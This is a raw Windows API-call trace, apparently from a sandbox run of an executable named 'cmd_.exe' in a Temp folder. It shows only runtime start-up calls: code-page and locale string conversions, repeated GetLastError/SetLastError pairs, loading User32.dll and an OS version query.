\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0069.827] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0069.828] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0069.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$Lº\x1aôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0069.828] GetLastError () returned 0x7f [0069.828] SetLastError (dwErrCode=0x7f) [0069.828] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.828] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0069.828] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0069.828] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0069.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$Lº\x1aôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0069.828] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x41af88, nSize=0x104 | out: lpFilename="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 0x2d [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.828] SetLastError (dwErrCode=0x0) [0069.828] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.829] GetLastError () returned 0x0 [0069.829] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.830] GetLastError () returned 0x0 [0069.830] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.831] SetLastError (dwErrCode=0x0) [0069.831] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.833] GetLastError () returned 0x0 [0069.833] SetLastError (dwErrCode=0x0) [0069.834] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0069.834] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40907c) returned 0x0 [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.835] SetLastError (dwErrCode=0x0) [0069.835] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] GetLastError () returned 0x0 [0069.836] SetLastError (dwErrCode=0x0) [0069.836] LoadLibraryW (lpLibFileName="User32.dll") returned 0x75d10000 [0069.836] GetVersionExW (in: lpVersionInformation=0x18f1a0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18f1a0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0069.836] LoadLibraryA (lpLibFileName="User32.dll") returned 0x75d10000 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.837] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.837] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.837] GetLastError () returned 0x6 [0069.837] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 